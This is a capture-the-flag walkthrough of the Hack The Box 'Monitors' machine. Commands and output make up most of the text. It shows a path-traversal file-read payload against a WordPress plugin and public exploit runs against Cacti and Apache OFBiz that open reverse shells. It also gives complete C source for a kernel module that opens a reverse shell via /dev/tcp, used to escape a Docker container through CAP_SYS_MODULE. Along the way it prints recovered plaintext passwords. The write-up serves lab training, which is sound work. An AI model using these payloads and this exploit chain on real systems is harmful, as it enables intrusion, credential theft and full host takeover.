HtB Monitors
Monitors is a hard Linux machine that involves WordPress plugin
exploitation leading to a command injection
via SQL injection
through a well known network management web application in order to get a shell on the system. Then by performing basic service file enumeration one can gain the user password and thus a foothold to the system through SSH. The root stage consists of a Java based XML RPC deserialization
attack against Apache OFBiz
to gain a shell in a Docker container. Then it is possible by abusing the CAP_SYS_MODULE
capability to load a malicious kernel module against the host and escalate privileges to root.
Scanning
nmap
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ nmap -T4 -p- -A -v 10.129.232.111
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 22:28 EDT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.5.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 6.720 days (since Wed Mar 5 04:16:47 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP - 80/tcp
Looks like we’ve got a WordPress site running on port 80/tcp.
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ wpscan --url http://monitors.htb -e ap
[...snip...]
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
[...snip...]
[+] Upload directory has listing enabled: http://monitors.htb/wp-content/uploads/
[...snip...]
[+] WordPress theme in use: iconic-one
[...snip...]
[i] Plugin(s) Identified:
[+] wp-with-spritz
Initial Access
Remote File Inclusion
A quick search of the installed plugin wp-with-spritz
reveals a remote file inclusion vulnerability at the following endpoint:
plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
Now we know the one non-root user: marcus
. Let’s keep enumerating to see if we can view any website config files. I was unable to locate /var/www/html/wp-config.php
or any other WordPress default files for that matter… perhaps we don’t know where they’re stored.
Luckily, we can check /etc/apache2/sites-enabled/000-default.conf
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf
Two more strings to pull on: monitors.htb.conf
and cacti-admin.monitors.htb.conf
ServerAdmin admin@monitors.htb
ServerName monitors.htb
ServerAlias monitors.htb
DocumentRoot /var/www/wordpress
ServerAdmin admin@monitors.htb
ServerName cacti-admin.monitors.htb
DocumentRoot /usr/share/cacti
ServerAlias cacti-admin.monitors.htb
At this point, we can add cacti-admin.monitors.htb
to our /etc/hosts
file, and we can also take a peek at /var/www/wordpress/wp-config.php
[...snip...]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wpadmin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
[...snip...]
cacti-admin.monitors.htb
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ searchsploit cacti 1.2.12
--------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------- ---------------------------------
Cacti 1.2.12 - 'filter' SQL Injection | php/webapps/49810.py
--------------------------------------------- ---------------------------------
Shellcodes: No Results
Looks like this exploit won’t work unless we have a valid Caci login. Let’s try admin:BestAdministrator@2020!
, our found password from the wp-config.php
Excellent! Now let’s try our exploit script.
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ python 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.199 --lport 4444
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:9ad0df6e9c26d22cbf74f54a62d1ec61ee2bd691,1741750073
[+] Trying to log in...
[+] Successfully logged in!
[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"
[+] Check your nc listener!
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.199] from (UNKNOWN) [10.129.232.111] 41668
/bin/sh: 0: can\'t access tty; job control turned off
$ whoami
www-data
Shell as www-data
www-data@monitors:/usr/share/cacti/cacti/include$ cat config.php
cat config.php
[...snip...]
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cacti';
$database_password = 'cactipass';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
[...snip...]
Didn’t see anything interesting in the databases… womp womp. Let’s keep searching.
www-data@monitors:/etc/systemd/system$ cat cacti-backup.service
cat cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target
[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh
[Install]
WantedBy=multi-user.target
Awesome, looks like a custom service! Let’s take a look at /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
This is great… looks like the config_pass
value is being used to login as… well… let’s hope marcus.
www-data@monitors:/etc/systemd/system$ su marcus
su marcus
Password: VerticalEdge2020
marcus@monitors:/etc/systemd/system$ id
id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
Go grab that user.txt
and let’s keep going.
Privilege Escalation
Enumeration
Also in marcus’ home folder is note.txt
marcus@monitors:~$ cat note.txt
cat note.txt
TODO:
Disable phpinfo in php.ini - DONE
Update docker image for production use -
We also find something interesting listening on port 8443.
marcus@monitors:~$ netstat -ano
netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
[...snip...]
Port Forward - 8443/tcp
Let’s do some port forwarding and see if we can access that.
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ gobuster dir -u https://localhost:8443/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -k --exclude-length 62
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://localhost:8443/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 62
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 302) [Size: 0] [--> /images/]
/content (Status: 302) [Size: 0] [--> /content/]
/common (Status: 302) [Size: 0] [--> /common/]
[...snip...]
Visiting /images
keeps returning an error, however when I visited /content
I was redirected to the following login page for Apache OFBiz v17.12.01
:
Apache OFBiz v17.12.01
Oh look, another exploit waiting for us:
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ searchsploit ofbiz 17.12.01
-------------------------------------------------------- -----------------------
Exploit Title | Path
-------------------------------------------------------- -----------------------
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) | java/webapps/50178.sh
-------------------------------------------------------- ------------------------
Shellcodes: No Results
Make sure to follow the exploit instructions in the comments, and you might need to revert back to Java 11 to get ysoserial
to work.
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ bash 50178.sh -i 10.10.14.199 -p 5555
[*] Creating a shell file with bash
[*] Downloading YsoSerial JAR File
[*] Generating a JAR payload
[*] Sending malicious shell to server...
[*] Generating a second JAR payload
[*] Executing the payload in the server...
[*]Deleting Files...
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.199] from (UNKNOWN) [10.129.232.111] 49820
bash: cannot set terminal process group (32): Inappropriate ioctl for device
bash: no job control in this shell
root@55f9268f69df:/usr/src/apache-ofbiz-17.12.01# whoami
whoami
root
Shell as root (Docker)
Let’s check capabilities within the container. It seems we’ve got CAP_SYS_MODULE
capabilities, which is vulnerable to sharing kernel modules with the host.
root@55f9268f69df:~# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
CAP_SYS_MODULE Exploitation
Here’s a helpful blog post of the container escape we’ll be attempting. Made a few minor changes to the reverse shell code, as well as the Makefile.
root@55f9268f69df:~# ls /usr/src
ls /usr/src
apache-ofbiz-17.12.01
linux-headers-4.15.0-132
linux-headers-4.15.0-132-generic
linux-headers-4.15.0-142
linux-headers-4.15.0-142-generic
linux-headers-4.15.0-151
linux-headers-4.15.0-151-generic
root@55f9268f69df:~# uname -r
uname -r
4.15.0-151-generic
Next, upload your reverse-shell.c
and Makefile
to the Docker using wget
.
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.199/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o
all:
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
clean:
make -C /lib/modules/4.15.0-142-generic/build M=/root clean
Go ahead and compile your module.
root@55f9268f69df:~# make
make
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic'
CC [M] /root/reverse-shell.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/reverse-shell.mod.o
LD [M] /root/reverse-shell.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'
Now setup your listener, and trigger the kernel module / reverse shell.
root@55f9268f69df:~# insmod reverse-shell.ko
insmod reverse-shell.ko
And we’ve owned the system.
┌──(pl4stic㉿kali)-[~/htb/monitors]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.199] from (UNKNOWN) [10.129.232.111] 35740
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# whoami
whoami
root